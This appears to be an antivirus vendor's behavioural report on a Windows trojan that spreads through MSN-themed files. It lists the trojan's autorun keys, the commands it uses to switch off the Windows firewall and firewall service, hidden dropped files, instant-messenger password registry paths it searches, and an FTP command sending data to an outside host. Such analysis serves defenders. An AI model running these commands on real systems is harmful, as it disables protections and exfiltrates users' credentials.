Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'stat2' = '%ALLUSERSPROFILE%\Application Data\Msn\statup.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'stat' = '%ALLUSERSPROFILE%\Application Data\Msn\statup.exe'
Creates or modifies the following files:
- %ALLUSERSPROFILE%\Start Menu\Programs\Startup\msn.lnk
Malicious functions:
To bypass firewall, removes or modifies the following registry keys:
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'DoNotAllowExceptions' = '00000000'
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'DoNotAllowExceptions' = '00000000'
Creates and executes the following:
- C:\users\public\Public Document\image viewer.exe /stext msn.klm
- C:\users\public\Public Document\msnw.exe
- C:\users\public\Public Document\picture view.exe /stext wwsn.klm
- C:\users\public\Public Document\picture.exe
- C:\users\public\Public Document\picture viewer.exe /stext wmsn.klm
Executes the following:
- <SYSTEM32>\attrib.exe -r +a +s +h "%ALLUSERSPROFILE%\Application Data\Msn"
- <SYSTEM32>\attrib.exe +r +a +s +h "%ALLUSERSPROFILE%\Application Data"
- <SYSTEM32>\netsh.exe firewall set opmode disable
- <SYSTEM32>\ftp.exe -s:bmsn.klm ftp.freehostia.com
- <SYSTEM32>\rundll32.exe <SYSTEM32>\shimgvw.dll,ImageView_Fullscreen C:\users\public\Public Document\pic.gif
- <SYSTEM32>\attrib.exe +r a +s +h "C:\users\public\public document"
- <SYSTEM32>\sc.exe config mpssvc start= Disabled
- <SYSTEM32>\netsh.exe firewall set opmode mode = DISABLE profile = ALL
- %WINDIR%\regedit.exe /s "conf.reg"
- <SYSTEM32>\sc.exe stop MpsSvc
- <SYSTEM32>\net1.exe stop mpssvc
- <SYSTEM32>\net.exe stop mpssvc
Searches for registry branches where third party applications store passwords:
- [<HKCU>\Software\Yahoo\Pager]
- [<HKCU>\Software\Microsoft\IdentityCRL]
- [<HKCU>\Software\Microsoft\MessengerService]
- [<HKCU>\Software\Google\Google Talk\Accounts]
- [<HKCU>\Software\Microsoft\MSNMessenger]
Modifies file system :
Creates the following files:
- %ALLUSERSPROFILE%\Application Data\Msn\msn.lnk
- %ALLUSERSPROFILE%\Application Data\Msn\keeprun.ini
- %ALLUSERSPROFILE%\Application Data\Msn\pic.gif
- %ALLUSERSPROFILE%\Application Data\Msn\msnw.exe
- %ALLUSERSPROFILE%\Application Data\Msn\conf.reg
- %ALLUSERSPROFILE%\Application Data\Msn\bmsn.klm
- %ALLUSERSPROFILE%\Application Data\Msn\image viewer.exe
- %ALLUSERSPROFILE%\Application Data\Msn\dmsn.klm
- %ALLUSERSPROFILE%\Application Data\Msn\picture view.exe
- %ALLUSERSPROFILE%\Application Data\Msn\viewer.exe
- %ALLUSERSPROFILE%\Application Data\Msn\statu.exe
- %HOMEPATH%\Recent\Public Document.lnk
- %HOMEPATH%\Recent\pic.lnk
- %ALLUSERSPROFILE%\Application Data\Msn\PIC_201227We_ _1207100 .jpg
- %ALLUSERSPROFILE%\Application Data\Msn\picture.exe
- %ALLUSERSPROFILE%\Application Data\Msn\picture viewer.exe
- %ALLUSERSPROFILE%\Application Data\Msn\PIC_201227We_ _1207100 .jpeg
- %ALLUSERSPROFILE%\Application Data\Msn\PIC_201227We_ _1207100 .jpe
- C:\users\public\Public Document\wmsn.klm
- C:\users\public\Public Document\msnw.exe
- C:\users\public\Public Document\pic.gif
- C:\users\public\Public Document\keeprun.ini
- C:\users\public\Public Document\msn.lnk
- C:\users\public\Public Document\picture view.exe
- C:\users\public\Public Document\viewer.exe
- C:\users\public\Public Document\picture.exe
- C:\users\public\Public Document\picture viewer.exe
- C:\users\public\Public Document\statu.exe
- C:\users\public\Public Document\image viewer.exe
- %ALLUSERSPROFILE%\Application Data\GLo1QVKxbHz4NDHAeO0\PCGWIN32.LI5
- %ALLUSERSPROFILE%\Application Data\nld3mvgfbH\PCGWIN32.LI5
- C:\users\public\Public Document\msn.klm
- C:\users\public\Public Document\wwsn.klm
- %ALLUSERSPROFILE%\Application Data\tLUD9bTybHz4NDH\PCGWIN32.LI5
- C:\users\public\Public Document\conf.reg
- C:\users\public\Public Document\dmsn.klm
- %TEMP%\28605RBN.bat
- C:\users\public\Public Document\bmsn.klm
Sets the 'hidden' attribute to the following files:
- %ALLUSERSPROFILE%\Application Data\nld3mvgfbH\PCGWIN32.LI5
- %ALLUSERSPROFILE%\Application Data\GLo1QVKxbHz4NDHAeO0\PCGWIN32.LI5
- %TEMP%\28605RBN.bat
- %ALLUSERSPROFILE%\Application Data\tLUD9bTybHz4NDH\PCGWIN32.LI5
Deletes the following files:
- %TEMP%\28605RBN.bat
Network activity:
Connects to:
- 'localhost':1039
- 'ft#.##eehostia.com':21
UDP:
- DNS ASK ft#.##eehostia.com
Miscellaneous:
Searches for the following windows:
- ClassName: 'ShImgVw:CPreviewWnd' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'RegEdit_RegEdit' WindowName: ''
- ClassName: 'Indicator' WindowName: ''